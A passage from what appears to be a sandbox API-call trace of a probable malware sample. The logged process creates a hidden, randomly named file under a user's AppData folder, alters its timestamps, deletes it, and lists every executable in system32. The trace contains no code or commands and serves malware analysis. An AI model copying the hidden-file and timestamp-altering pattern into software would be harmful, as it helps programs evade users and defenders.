| out: phProv=0x119f8f8*=0x2f97d0) returned 1 [0039.281] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f90c | out: pbBuffer=0x119f90c) returned 1 [0039.281] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.281] CryptAcquireContextW (in: phProv=0x119f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119f8f8*=0x2f97d0) returned 1 [0039.282] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f90c | out: pbBuffer=0x119f90c) returned 1 [0039.282] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.282] CryptAcquireContextW (in: phProv=0x119f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119f8f8*=0x2f97d0) returned 1 [0039.283] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f90c | out: pbBuffer=0x119f90c) returned 1 [0039.283] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.283] CryptAcquireContextW (in: phProv=0x119f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119f8f8*=0x2f97d0) returned 1 [0039.284] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f90c | out: pbBuffer=0x119f90c) returned 1 [0039.284] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.284] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\r9c0hSMEne4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\r9c0hsmene4"), fInfoLevelId=0x0, lpFileInformation=0x119f8c4 | out: lpFileInformation=0x119f8c4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x408ae7, ftCreationTime.dwHighDateTime=0x940000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x119fc20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x119f95c)) returned 0 [0039.284] GetLastError () returned 0x2 [0039.284] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\r9c0hSMEne4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\r9c0hsmene4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x138 [0039.312] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x119f908, lpLastWriteTime=0x119f908) returned 1 [0039.312] NtClose (Handle=0x138) returned 0x0 [0039.313] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x800) returned 0x9d5058 [0039.313] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\r9c0hSMEne4", lpszShortPath=0x9d5058, cchBuffer=0x200 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\R9C0HS~1") returned 0x2a [0039.313] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\r9c0hSMEne4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\r9c0hsmene4"), fInfoLevelId=0x0, lpFileInformation=0x119f904 | out: lpFileInformation=0x119f904*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x62dcaa70, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x62dcaa70, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x62dcaa70, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.313] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\r9c0hSMEne4", dwFileAttributes=0x80) returned 1 [0039.313] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\r9c0hSMEne4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\r9c0hsmene4")) returned 1 [0039.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d5058) returned 1 [0039.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fcf8) returned 1 [0039.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8a28 [0039.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ee978 [0039.314] GetSystemDirectoryW (in: lpBuffer=0x9ee978, uSize=0x40 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0039.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0039.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fcf8 [0039.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fc70 [0039.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fbe8 [0039.314] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\*.exe", fInfoLevelId=0x1, lpFindFileData=0x119f9a8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f9a8) returned 0x2e8f80 [0039.314] CryptAcquireContextW (in: phProv=0x119f918, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119f918*=0x2f97d0) returned 1 [0039.315] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f92c | out: pbBuffer=0x119f92c) returned 1 [0039.315] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f389923, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f389923, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f389923, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="aitagent.exe", cAlternateFileName="")) returned 1 [0039.319] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41f8f016, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x41f8f016, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xd9897070, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="alg.exe", cAlternateFileName="")) returned 1 [0039.319] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22f4ae5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x22f4ae5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd99a1240, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="appidcertstorecheck.exe", cAlternateFileName="")) returned 1 [0039.319] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9cf143, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb9cf143, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd9a5f920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="appidpolicyconverter.exe", cAlternateFileName="")) returned 1 [0039.319] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a17d73, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x84a17d73, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xd9ad2510, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="ARP.EXE", cAlternateFileName="")) returned 1 [0039.319] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fa1c868, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1fa1c868, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd9b45100, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="at.exe", cAlternateFileName="")) returned 1 [0039.319] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc10ef45b, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc10ef45b, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xd9b90bf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="AtBroker.exe", cAlternateFileName="")) returned 1 [0039.319] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xd9b90bf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="attrib.exe", cAlternateFileName="")) returned 1 [0039.319] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d6dcfc6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d6dcfc6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d703126, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="audiodg.exe", cAlternateFileName="")) returned 1 [0039.319] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9850cda, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb9850cda, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xd9c9adc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="auditpol.exe", cAlternateFileName="")) returned 1 [0039.319] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a59e84b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a59e84b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a5eab0c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xbde00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="autochk.exe", cAlternateFileName="")) returned 1 [0039.319] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e31ba3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e31ba3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97e7de63, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc1a00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="autoconv.exe", cAlternateFileName="")) returned 1 [0039.319] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14e063, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a14e063, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a1741c4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="autofmt.exe", cAlternateFileName="")) returned 1 [0039.319] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa917cb2, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xaa917cb2, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xda2b55c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="AxInstUI.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad77102, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad77102, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad77102, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2ae00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="bcdboot.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9716654b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9716654b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x973a19ef, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="bcdedit.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc17bc305, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc17bc305, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xda694920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="BdeUISrv.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc086969a, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc086969a, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xda72bf00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="BdeUnlockWizard.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868bb544, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x868bb544, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x868e16a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38c00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="bitsadmin.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a941698, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x6a941698, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdaba2840, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="bootcfg.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e6d0c2, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x39e6d0c2, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdacd3b10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5200, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="bridgeunattend.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa71185d, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xfa71185d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdad1f600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="bthudtask.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdad1f600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="cacls.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3786a5f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xa3786a5f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdafa6590, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe0400, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="calc.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa00af576, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xa00af576, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb312d00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="CertEnrollCtrl.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d779bd5, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x9d779bd5, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb4689c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4fa00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="certreq.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaba59ad6, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xaba59ad6, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb99d9e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11f000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="certutil.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b5dd62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b5dd62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="change.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x965e8982, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x965e8982, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdba376d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x28800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="charmap.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b83ec2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b83ec2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="chglogon.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b83ec2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b83ec2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="chgport.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b37c01, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b37c01, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b5dd62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="chgusr.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc10dea0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="chkdsk.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc134fa0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="chkntfs.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93205b17, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93205b17, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9322bc77, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="choice.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318b7149, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x318b7149, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc23f170, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="cipher.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbbfaf1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7cbbfaf1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdc2fd850, 